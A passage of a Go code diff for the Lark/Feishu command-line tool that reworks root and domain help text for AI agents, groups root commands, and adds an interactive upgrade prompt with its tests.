|
||||
t.Errorf("task row single_consumer = %v, want true", row["single_consumer"])
|
||||
}
|
||||
}
|
||||
}
|
||||
if !foundTask {
|
||||
t.Fatal("event list JSON missing task.task.update_user_access_v2")
|
||||
}
|
||||
for _, want := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
if _, ok := gotKeys[want]; !ok {
|
||||
t.Errorf("JSON list output missing %q", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -96,6 +96,73 @@ func TestRunSchema_JSONOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, "task.task.update_user_access_v2", true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if payload["jq_root_path"] != ".event" {
|
||||
t.Errorf("jq_root_path = %v, want .event", payload["jq_root_path"])
|
||||
}
|
||||
if payload["single_consumer"] != true {
|
||||
t.Errorf("single_consumer = %v, want true", payload["single_consumer"])
|
||||
}
|
||||
resolved := payload["resolved_output_schema"].(map[string]interface{})
|
||||
props := resolved["properties"].(map[string]interface{})
|
||||
eventProps := props["event"].(map[string]interface{})["properties"].(map[string]interface{})
|
||||
if got := eventProps["task_guid"].(map[string]interface{})["format"]; got != "task_guid" {
|
||||
t.Errorf("task_guid format = %v, want task_guid", got)
|
||||
}
|
||||
if _, ok := eventProps["event_types"].(map[string]interface{})["items"].(map[string]interface{})["enum"]; !ok {
|
||||
t.Fatalf("event_types enum missing in schema: %#v", eventProps["event_types"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSchema_JSONOutput_VCMeetingLifecycleKeys(t *testing.T) {
|
||||
for _, key := range []string{
|
||||
"vc.meeting.participant_meeting_started_v1",
|
||||
"vc.meeting.participant_meeting_joined_v1",
|
||||
} {
|
||||
t.Run(key, func(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
|
||||
if err := runSchema(f, key, true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if payload["key"] != key {
|
||||
t.Errorf("key = %v, want %s", payload["key"], key)
|
||||
}
|
||||
resolved, ok := payload["resolved_output_schema"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("resolved_output_schema missing or wrong type: %+v", payload)
|
||||
}
|
||||
properties, ok := resolved["properties"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("resolved_output_schema.properties missing or wrong type: %+v", resolved)
|
||||
}
|
||||
for _, field := range []string{"type", "event_id", "timestamp", "meeting_id", "topic", "meeting_no", "start_time", "calendar_event_id"} {
|
||||
if _, ok := properties[field]; !ok {
|
||||
t.Errorf("resolved output schema missing field %q: %+v", field, properties)
|
||||
}
|
||||
}
|
||||
if _, ok := properties["end_time"]; ok {
|
||||
t.Errorf("resolved output schema should not include end_time for %s: %+v", key, properties)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchema_RendersSubscriptionKeyMarker(t *testing.T) {
|
||||
const syntheticKey = "test.evt_sub"
|
||||
t.Cleanup(func() { eventlib.UnregisterKeyForTest(syntheticKey) })
|
||||
|
||||
127
cmd/root.go
127
cmd/root.go
@@ -11,9 +11,11 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/cmd/service"
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/platform"
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdmeta"
|
||||
"github.com/larksuite/cli/internal/cmdpolicy"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/deprecation"
|
||||
@@ -28,43 +30,60 @@ import (
|
||||
|
||||
const rootLong = `lark-cli — Lark/Feishu CLI tool.
|
||||
|
||||
USAGE:
|
||||
lark-cli <command> [subcommand] [method] [options]
|
||||
lark-cli api <method> <path> [--params <json>] [--data <json>]
|
||||
lark-cli schema <service.resource.method>
|
||||
AGENT QUICKSTART (driving this as an agent? start here):
|
||||
Browse commands: lark-cli <domain> --help # +shortcuts (preferred) and raw API resources
|
||||
Inspect a call: lark-cli schema <service>.<resource>.<method> # params, types, scopes, examples
|
||||
Prefer a +shortcut over the raw API resource when one matches the task.
|
||||
Risk: each command's --help shows read | write | high-risk-write;
|
||||
high-risk-write needs --yes, only after the user confirms.
|
||||
On any API call: --jq <expr> filters JSON output, --dry-run previews the request (runs nothing).
|
||||
|
||||
EXAMPLES:
|
||||
# View upcoming events
|
||||
lark-cli calendar +agenda
|
||||
EXAMPLES (one per command style, in order of preference):
|
||||
lark-cli calendar +agenda # +shortcut — a high-level task, prefer these
|
||||
lark-cli mail user_mailbox.messages list --user-mailbox-id me # typed command for one API method
|
||||
lark-cli schema mail.user_mailbox.messages.list # inspect a method's params before calling
|
||||
lark-cli api GET /open-apis/calendar/v4/calendars # raw escape hatch — any endpoint by HTTP path`
|
||||
|
||||
# List calendar events
|
||||
lark-cli calendar events instance_view --params '{"calendar_id":"primary","start_time":"1700000000","end_time":"1700086400"}'
|
||||
// rootUsageTemplate is cobra's default usage template with two root-only
|
||||
// additions gated on {{if not .HasParent}}: a curated multi-form Usage synopsis
|
||||
// (replacing cobra's generic "[flags] / [command]") and a human skills-setup
|
||||
// footer. Subcommands render the stock template unchanged. The rest is verbatim
|
||||
// cobra so the command groups and flags are untouched.
|
||||
const rootUsageTemplate = `{{if .HasParent}}Usage:{{if .Runnable}}
|
||||
{{.UseLine}}{{end}}{{if .HasAvailableSubCommands}}
|
||||
{{.CommandPath}} [command]{{end}}{{else}}Usage:
|
||||
lark-cli <command> [subcommand] [method] [flags]
|
||||
lark-cli api <method> <path> [--params <json>] [--data <json>]
|
||||
lark-cli schema <service.resource.method>{{end}}{{if gt (len .Aliases) 0}}
|
||||
|
||||
# Search users
|
||||
lark-cli contact +search-user --query "John"
|
||||
Aliases:
|
||||
{{.NameAndAliases}}{{end}}{{if .HasExample}}
|
||||
|
||||
# Generic API call
|
||||
lark-cli api GET /open-apis/calendar/v4/calendars
|
||||
Examples:
|
||||
{{.Example}}{{end}}{{if .HasAvailableSubCommands}}{{$cmds := .Commands}}{{if eq (len .Groups) 0}}
|
||||
|
||||
AI AGENT SKILLS:
|
||||
lark-cli pairs with AI agent skills (Claude Code, etc.) that
|
||||
teach the agent Lark API patterns, best practices, and workflows.
|
||||
Available Commands:{{range $cmds}}{{if (or .IsAvailableCommand (eq .Name "help"))}}
|
||||
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{else}}{{range $group := .Groups}}
|
||||
|
||||
Install all skills:
|
||||
npx skills add larksuite/cli -g -y
|
||||
{{.Title}}{{range $cmds}}{{if (and (eq .GroupID $group.ID) (or .IsAvailableCommand (eq .Name "help")))}}
|
||||
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if not .AllChildCommandsHaveGroup}}
|
||||
|
||||
Or pick specific domains:
|
||||
npx skills add larksuite/cli -s lark-calendar -y
|
||||
npx skills add larksuite/cli -s lark-im -y
|
||||
Additional Commands:{{range $cmds}}{{if (and (eq .GroupID "") (or .IsAvailableCommand (eq .Name "help")))}}
|
||||
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}
|
||||
|
||||
Learn more: https://github.com/larksuite/cli#agent-skills
|
||||
Flags:
|
||||
{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}}
|
||||
|
||||
COMMUNITY:
|
||||
GitHub: https://github.com/larksuite/cli
|
||||
Issues: https://github.com/larksuite/cli/issues
|
||||
Docs: https://open.feishu.cn/document/
|
||||
Global Flags:
|
||||
{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}}
|
||||
|
||||
More help: lark-cli <command> --help`
|
||||
Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}
|
||||
{{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}
|
||||
|
||||
Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}}{{if not .HasParent}}
|
||||
|
||||
Skills setup (one-time, humans): npx skills add larksuite/cli -g -y — https://github.com/larksuite/cli#agent-skills{{end}}
|
||||
`
|
||||
|
||||
// Execute runs the root command and returns the process exit code.
|
||||
// rawInvocationArgs holds os.Args[1:] captured at Execute() entry. cobra's
|
||||
@@ -529,6 +548,49 @@ func availableSubcommandNames(cmd *cobra.Command) (available, deprecated []strin
|
||||
return available, deprecated
|
||||
}
|
||||
|
||||
// Root command help groups, so an agent sees content domains, agent tooling, and
|
||||
// CLI management as distinct blocks instead of one flat alphabetical dump.
|
||||
const (
|
||||
groupDomains = "lark-domains"
|
||||
groupTooling = "agent-tooling"
|
||||
groupManagement = "cli-management"
|
||||
)
|
||||
|
||||
// groupRootCommands classifies root's direct children into the help groups,
|
||||
// called once after all commands are registered. Unclassified commands fall to
|
||||
// cobra's "Additional Commands" section.
|
||||
func groupRootCommands(root *cobra.Command) {
|
||||
root.AddGroup(
|
||||
&cobra.Group{ID: groupDomains, Title: "Lark domains:"},
|
||||
&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
|
||||
&cobra.Group{ID: groupManagement, Title: "CLI management:"},
|
||||
)
|
||||
tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
|
||||
management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
|
||||
for _, c := range root.Commands() {
|
||||
if c.GroupID != "" {
|
||||
continue
|
||||
}
|
||||
switch {
|
||||
case tooling[c.Name()]:
|
||||
c.GroupID = groupTooling
|
||||
case management[c.Name()]:
|
||||
c.GroupID = groupManagement
|
||||
case isLarkDomain(c):
|
||||
c.GroupID = groupDomains
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// isLarkDomain reports whether a root child is a Lark domain (service-sourced or
|
||||
// shortcut-tagged), not CLI tooling. Mirrors service.PrepareDomainHelp.
|
||||
func isLarkDomain(c *cobra.Command) bool {
|
||||
if src, _ := cmdmeta.SourceOf(c); src == cmdmeta.SourceService {
|
||||
return true
|
||||
}
|
||||
return cmdmeta.Domain(c) != ""
|
||||
}
|
||||
|
||||
// flagDidYouMean is the root FlagErrorFunc (inherited by all subcommands). It
|
||||
// converts cobra's flag-parse errors into a typed validation envelope: an
|
||||
// unknown flag gets a focused "did you mean" hint (so agents recover even when
|
||||
@@ -610,6 +672,17 @@ func installTipsHelpFunc(root *cobra.Command) {
|
||||
defer func() { f.Hidden = true }()
|
||||
}
|
||||
}
|
||||
// Domain and method commands compose their agent guidance into Long lazily
|
||||
// here (shortcuts attach after service registration); both skip the generic
|
||||
// bottom-of-help append below.
|
||||
if service.PrepareDomainHelp(cmd, embeddedSkillContent) {
|
||||
defaultHelp(cmd, args)
|
||||
return
|
||||
}
|
||||
if service.PrepareMethodHelp(cmd) {
|
||||
defaultHelp(cmd, args)
|
||||
return
|
||||
}
|
||||
defaultHelp(cmd, args)
|
||||
out := cmd.OutOrStdout()
|
||||
if level, ok := cmdutil.GetRisk(cmd); ok {
|
||||
|
||||
@@ -76,11 +76,13 @@ func TestPersistentPreRunE_ConfigSubcommands(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestRootLong_AgentSkillsLinkTargetsReadmeSection(t *testing.T) {
|
||||
if !strings.Contains(rootLong, "https://github.com/larksuite/cli#agent-skills") {
|
||||
t.Fatalf("root help should link to the README Agent Skills section, got:\n%s", rootLong)
|
||||
// The human skills-install guidance now lives in the root usage-template
|
||||
// footer (below the command list), not in the agent-facing Long.
|
||||
if !strings.Contains(rootUsageTemplate, "https://github.com/larksuite/cli#agent-skills") {
|
||||
t.Fatalf("root help footer should link to the README Agent Skills section, got:\n%s", rootUsageTemplate)
|
||||
}
|
||||
if strings.Contains(rootLong, "https://github.com/larksuite/cli#install-ai-agent-skills") {
|
||||
t.Fatalf("root help should not reference the removed install-ai-agent-skills anchor, got:\n%s", rootLong)
|
||||
if strings.Contains(rootUsageTemplate, "https://github.com/larksuite/cli#install-ai-agent-skills") {
|
||||
t.Fatalf("root help should not reference the removed install-ai-agent-skills anchor, got:\n%s", rootUsageTemplate)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
90
cmd/root_upgrade.go
Normal file
90
cmd/root_upgrade.go
Normal file
@@ -0,0 +1,90 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/update"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// runRootUpgrade locates the registered `update` subcommand and runs it, so the
|
||||
// interactive root-command upgrade reuses exactly `lark-cli update` behavior
|
||||
// (install-method detection, output, error handling). Package-level var so
|
||||
// tests can stub it and avoid real network / self-update.
|
||||
var runRootUpgrade = func(cmd *cobra.Command) {
|
||||
for _, c := range cmd.Root().Commands() {
|
||||
if c.Name() == "update" && c.RunE != nil {
|
||||
_ = c.RunE(c, nil) // update prints its own output/errors; swallow here
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// isBareRootInvocation reports whether this is a bare `lark-cli` (no subcommand,
|
||||
// no flags) — the only invocation that triggers the interactive upgrade prompt.
|
||||
// Mirrors unknownSubcommandRunE's "bare group prints help" branch: args empty
|
||||
// AND no flag tokens in the raw invocation.
|
||||
func isBareRootInvocation(args []string) bool {
|
||||
return len(args) == 0 && len(flagTokensInArgs(rawInvocationArgs)) == 0
|
||||
}
|
||||
|
||||
// readYes reads one line and reports whether it is an affirmative y/yes.
|
||||
// EOF / empty / anything else → false (default No, matching the [y/N] prompt).
|
||||
func readYes(r io.Reader) bool {
|
||||
line, _ := bufio.NewReader(r).ReadString('\n')
|
||||
switch strings.ToLower(strings.TrimSpace(line)) {
|
||||
case "y", "yes":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// offerRootUpgrade prompts for an interactive upgrade when running bare
|
||||
// `lark-cli` in an interactive terminal with a cached newer version. Every
|
||||
// failure is swallowed — it must never affect help output or the exit code.
|
||||
func offerRootUpgrade(f *cmdutil.Factory, cmd *cobra.Command) {
|
||||
ios := f.IOStreams
|
||||
// Gates 1/2/3: need to read stdin AND show the prompt on stderr, and require
|
||||
// stdout TTY too so this only fires in a pure foreground terminal session.
|
||||
if !ios.IsTerminal || !ios.OutIsTerminal || !ios.StderrIsTerminal {
|
||||
return
|
||||
}
|
||||
// Gate 4: cached newer version. CheckCached applies opt-out (shouldSkip)
|
||||
// and the IsNewer/semver validation chain; it reads the on-disk cache that
|
||||
// the 24h-throttled RefreshCache maintains (CheckCached itself has no TTL).
|
||||
info := update.CheckCached(build.Version)
|
||||
if info == nil {
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(ios.ErrOut, "lark-cli %s available (current %s). Upgrade now? [y/N]: ", info.Latest, info.Current)
|
||||
if !readYes(ios.In) {
|
||||
return
|
||||
}
|
||||
runRootUpgrade(cmd)
|
||||
}
|
||||
|
||||
// installRootUpgradePrompt wraps the root command's RunE (set to
|
||||
// unknownSubcommandRunE by installUnknownSubcommandGuard) so a bare `lark-cli`
|
||||
// invocation offers an interactive upgrade before printing help. Non-bare
|
||||
// invocations are passed straight through, unchanged.
|
||||
func installRootUpgradePrompt(f *cmdutil.Factory, root *cobra.Command) {
|
||||
inner := root.RunE
|
||||
if inner == nil {
|
||||
return
|
||||
}
|
||||
root.RunE = func(cmd *cobra.Command, args []string) error {
|
||||
if isBareRootInvocation(args) {
|
||||
offerRootUpgrade(f, cmd)
|
||||
}
|
||||
return inner(cmd, args)
|
||||
}
|
||||
}
|
||||
191
cmd/root_upgrade_test.go
Normal file
191
cmd/root_upgrade_test.go
Normal file
@@ -0,0 +1,191 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func writeUpdateState(t *testing.T, dir, latest string) {
|
||||
t.Helper()
|
||||
data := fmt.Sprintf(`{"latest_version":%q,"checked_at":%d}`, latest, time.Now().Unix())
|
||||
if err := os.WriteFile(filepath.Join(dir, "update-state.json"), []byte(data), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadYes(t *testing.T) {
|
||||
cases := map[string]bool{
|
||||
"y\n": true, "Y\n": true, "yes\n": true, "YES\n": true, " y \n": true,
|
||||
"n\n": false, "\n": false, "": false, "nope\n": false, "yeah\n": false,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := readYes(strings.NewReader(in)); got != want {
|
||||
t.Errorf("readYes(%q) = %v, want %v", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsBareRootInvocation(t *testing.T) {
|
||||
orig := rawInvocationArgs
|
||||
t.Cleanup(func() { rawInvocationArgs = orig })
|
||||
|
||||
rawInvocationArgs = nil
|
||||
if !isBareRootInvocation([]string{}) {
|
||||
t.Error("empty args + no raw flag tokens should be bare")
|
||||
}
|
||||
rawInvocationArgs = []string{"--profile", "x"}
|
||||
if isBareRootInvocation([]string{}) {
|
||||
t.Error("flag token present → not bare")
|
||||
}
|
||||
rawInvocationArgs = nil
|
||||
if isBareRootInvocation([]string{"im"}) {
|
||||
t.Error("positional arg → not bare")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOfferRootUpgrade(t *testing.T) {
|
||||
origV := build.Version
|
||||
build.Version = "1.0.0" // release version so shouldSkip()==false
|
||||
t.Cleanup(func() { build.Version = origV })
|
||||
|
||||
origRun := runRootUpgrade
|
||||
t.Cleanup(func() { runRootUpgrade = origRun })
|
||||
|
||||
// This test builds a Factory literal (no NewDefault), so it never runs
|
||||
// workspace detection; pin the process-global workspace to Local so
|
||||
// statePath() resolves under LARKSUITE_CLI_CONFIG_DIR rather than a stale
|
||||
// subdir inherited from a prior test in the package.
|
||||
origWS := core.CurrentWorkspace()
|
||||
t.Cleanup(func() { core.SetCurrentWorkspace(origWS) })
|
||||
core.SetCurrentWorkspace(core.WorkspaceLocal)
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
in, out, err bool
|
||||
input string
|
||||
latest string // "" → no state file (CheckCached nil)
|
||||
optOut bool
|
||||
wantPrompt, wantRun bool
|
||||
}{
|
||||
{"all-tty+y", true, true, true, "y\n", "2.0.0", false, true, true},
|
||||
{"all-tty+yes", true, true, true, "yes\n", "2.0.0", false, true, true},
|
||||
{"all-tty+n", true, true, true, "n\n", "2.0.0", false, true, false},
|
||||
{"all-tty+empty", true, true, true, "\n", "2.0.0", false, true, false},
|
||||
{"all-tty+eof", true, true, true, "", "2.0.0", false, true, false},
|
||||
{"stdin-not-tty", false, true, true, "y\n", "2.0.0", false, false, false},
|
||||
{"stdout-not-tty", true, false, true, "y\n", "2.0.0", false, false, false},
|
||||
{"stderr-not-tty", true, true, false, "y\n", "2.0.0", false, false, false},
|
||||
{"no-newer-version", true, true, true, "y\n", "", false, false, false},
|
||||
{"already-latest", true, true, true, "y\n", "1.0.0", false, false, false}, // post-upgrade: current == cached latest → no prompt
|
||||
{"cache-older-than-current", true, true, true, "y\n", "0.9.0", false, false, false},
|
||||
{"opt-out", true, true, true, "y\n", "2.0.0", true, false, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
|
||||
// Clear env that update.shouldSkip treats as "suppress" so the
|
||||
// test is deterministic regardless of host (GitHub Actions sets
|
||||
// CI=true, which would otherwise suppress the prompt).
|
||||
t.Setenv("CI", "")
|
||||
t.Setenv("BUILD_NUMBER", "")
|
||||
t.Setenv("RUN_ID", "")
|
||||
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "")
|
||||
if tc.latest != "" {
|
||||
writeUpdateState(t, dir, tc.latest)
|
||||
}
|
||||
if tc.optOut {
|
||||
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "1")
|
||||
}
|
||||
called := false
|
||||
runRootUpgrade = func(*cobra.Command) { called = true }
|
||||
|
||||
var errBuf bytes.Buffer
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(tc.input),
|
||||
Out: &bytes.Buffer{},
|
||||
ErrOut: &errBuf,
|
||||
IsTerminal: tc.in,
|
||||
OutIsTerminal: tc.out,
|
||||
StderrIsTerminal: tc.err,
|
||||
}}
|
||||
offerRootUpgrade(f, &cobra.Command{})
|
||||
|
||||
gotPrompt := strings.Contains(errBuf.String(), "available")
|
||||
if gotPrompt != tc.wantPrompt {
|
||||
t.Errorf("prompt: got %v want %v (stderr=%q)", gotPrompt, tc.wantPrompt, errBuf.String())
|
||||
}
|
||||
if called != tc.wantRun {
|
||||
t.Errorf("runRootUpgrade called: got %v want %v", called, tc.wantRun)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallRootUpgradePromptPreservesInner(t *testing.T) {
|
||||
orig := rawInvocationArgs
|
||||
t.Cleanup(func() { rawInvocationArgs = orig })
|
||||
rawInvocationArgs = nil
|
||||
|
||||
innerCalls := 0
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
root.RunE = func(cmd *cobra.Command, args []string) error { innerCalls++; return nil }
|
||||
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
|
||||
}}
|
||||
installRootUpgradePrompt(f, root)
|
||||
|
||||
if err := root.RunE(root, []string{}); err != nil {
|
||||
t.Fatalf("bare RunE err = %v", err)
|
||||
}
|
||||
if err := root.RunE(root, []string{"im"}); err != nil {
|
||||
t.Fatalf("non-bare RunE err = %v", err)
|
||||
}
|
||||
if innerCalls != 2 {
|
||||
t.Errorf("inner RunE should run for both bare and non-bare, got %d", innerCalls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRunRootUpgradeDispatchesToUpdate covers the real runRootUpgrade dispatch
|
||||
// path (not the stub used elsewhere): from any command it must locate the
|
||||
// registered "update" subcommand via cmd.Root() and invoke its RunE.
|
||||
func TestRunRootUpgradeDispatchesToUpdate(t *testing.T) {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
ran := 0
|
||||
root.AddCommand(&cobra.Command{Use: "update", RunE: func(*cobra.Command, []string) error { ran++; return nil }})
|
||||
child := &cobra.Command{Use: "im"}
|
||||
root.AddCommand(child)
|
||||
|
||||
runRootUpgrade(child) // child.Root() resolves to root, which has "update"
|
||||
|
||||
if ran != 1 {
|
||||
t.Errorf("runRootUpgrade should locate and run update's RunE once, got %d", ran)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInstallRootUpgradePromptNilInnerNoop covers the inner == nil guard:
|
||||
// when root has no RunE, installRootUpgradePrompt must not wrap it.
|
||||
func TestInstallRootUpgradePromptNilInnerNoop(t *testing.T) {
|
||||
root := &cobra.Command{Use: "lark-cli"} // RunE is nil
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
|
||||
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
|
||||
}}
|
||||
installRootUpgradePrompt(f, root)
|
||||
if root.RunE != nil {
|
||||
t.Error("installRootUpgradePrompt must not wrap a nil RunE (inner==nil guard)")
|
||||
}
|
||||
}
|
||||
@@ -4,41 +4,211 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/affordance"
|
||||
"github.com/larksuite/cli/internal/cmdmeta"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/meta"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// methodLong composes a method command's long help in one place: the
|
||||
// description, the affordance guidance block (when the method has one), the
|
||||
// pointer to the full schema, and the params-only addendum (params whose flag
|
||||
// name is taken — paramFlagBinder.paramsOnlyHelp, "" when none). Affordance
|
||||
// sits near the top so an agent sees when-to-use and few-shot examples before
|
||||
// the flag list.
|
||||
func methodLong(description, affordance, schemaPath, paramsOnly string) string {
|
||||
// PrepareDomainHelp appends navigational guidance (routing line, risk legend,
|
||||
// skill pointer) to a top-level Lark domain's description, returning false for
|
||||
// anything that is not such a domain. Built lazily at help time because
|
||||
// shortcuts attach after service registration. skillFS (nil-safe) gates the
|
||||
// skill pointer.
|
||||
//
|
||||
// A hand-authored Long is preserved as the base (e.g. event's "Use 'event
|
||||
// consume <EventKey>'…"); service domains carry only a Short at this point, so
|
||||
// we fall back to it. The pristine base is captured once into an annotation so
|
||||
// re-rendering does not append the guidance twice.
|
||||
func PrepareDomainHelp(cmd *cobra.Command, skillFS fs.FS) bool {
|
||||
if cmd.Annotations[schemaPathAnnotation] != "" {
|
||||
return false // a method command
|
||||
}
|
||||
// Direct child of root only — so Domain() reads this command's own tag, and
|
||||
// nested resource groups are excluded.
|
||||
if cmd.Parent() == nil || cmd.Parent().Parent() != nil {
|
||||
return false
|
||||
}
|
||||
// A domain is service-sourced or shortcut-tagged; CLI tooling has neither.
|
||||
if src, _ := cmdmeta.SourceOf(cmd); src != cmdmeta.SourceService && cmdmeta.Domain(cmd) == "" {
|
||||
return false
|
||||
}
|
||||
if !cmd.HasAvailableSubCommands() {
|
||||
return false
|
||||
}
|
||||
|
||||
hasShortcuts, hasResources := false, false
|
||||
for _, c := range cmd.Commands() {
|
||||
if c.Hidden || c.Name() == "help" || c.Name() == "completion" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(c.Name(), "+") {
|
||||
hasShortcuts = true
|
||||
} else {
|
||||
hasResources = true
|
||||
}
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(domainHelpBase(cmd))
|
||||
if hasShortcuts && hasResources { // routing only matters when both styles exist
|
||||
b.WriteString("\n\nPrefer a +-prefixed shortcut when one matches your task; otherwise use the raw API resource below.")
|
||||
}
|
||||
b.WriteString("\n\nRisk levels (read | write | high-risk-write) appear in each command's --help; high-risk-write requires --yes, only after the user confirms.")
|
||||
if skill := "lark-" + cmd.Name(); skillFS != nil {
|
||||
if _, err := fs.Stat(skillFS, skill+"/SKILL.md"); err == nil {
|
||||
fmt.Fprintf(&b, "\n\nDomain guide (concepts, command choice, conventions): lark-cli skills read %s", skill)
|
||||
}
|
||||
}
|
||||
cmd.Long = b.String()
|
||||
return true
|
||||
}
|
||||
|
||||
// domainHelpBase returns the description to seed domain help with — the
|
||||
// hand-authored Long when present, else the Short — captured once into an
|
||||
// annotation so re-rendering reuses the pristine text instead of the
|
||||
// already-augmented Long.
|
||||
func domainHelpBase(cmd *cobra.Command) string {
|
||||
if base, ok := cmd.Annotations[domainBaseAnnotation]; ok {
|
||||
return base
|
||||
}
|
||||
base := cmd.Long
|
||||
if base == "" {
|
||||
base = cmd.Short
|
||||
}
|
||||
if cmd.Annotations == nil {
|
||||
cmd.Annotations = map[string]string{}
|
||||
}
|
||||
cmd.Annotations[domainBaseAnnotation] = base
|
||||
return base
|
||||
}
|
||||
|
||||
// methodLong is the build-time Long (description + schema pointer +
|
||||
// params-only addendum). Agent guidance is added lazily by PrepareMethodHelp,
|
||||
// so command construction never parses the overlay.
|
||||
func methodLong(description, schemaPath, paramsOnly string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(description)
|
||||
if affordance != "" {
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(affordance)
|
||||
}
|
||||
fmt.Fprintf(&b, "\n\nView parameter definitions before calling:\n lark-cli schema %s", schemaPath)
|
||||
fmt.Fprintf(&b, "\n\nFull parameter schema:\n lark-cli schema %s", schemaPath)
|
||||
b.WriteString(paramsOnly)
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// renderAffordance renders a method's affordance as a help block — when to use,
|
||||
// prerequisites, and (most importantly for agents) few-shot Examples — or "" when
|
||||
// the method carries no affordance. It reads the single typed model
|
||||
// (meta.Method.ParsedAffordance) so the help and the envelope agree on shape.
|
||||
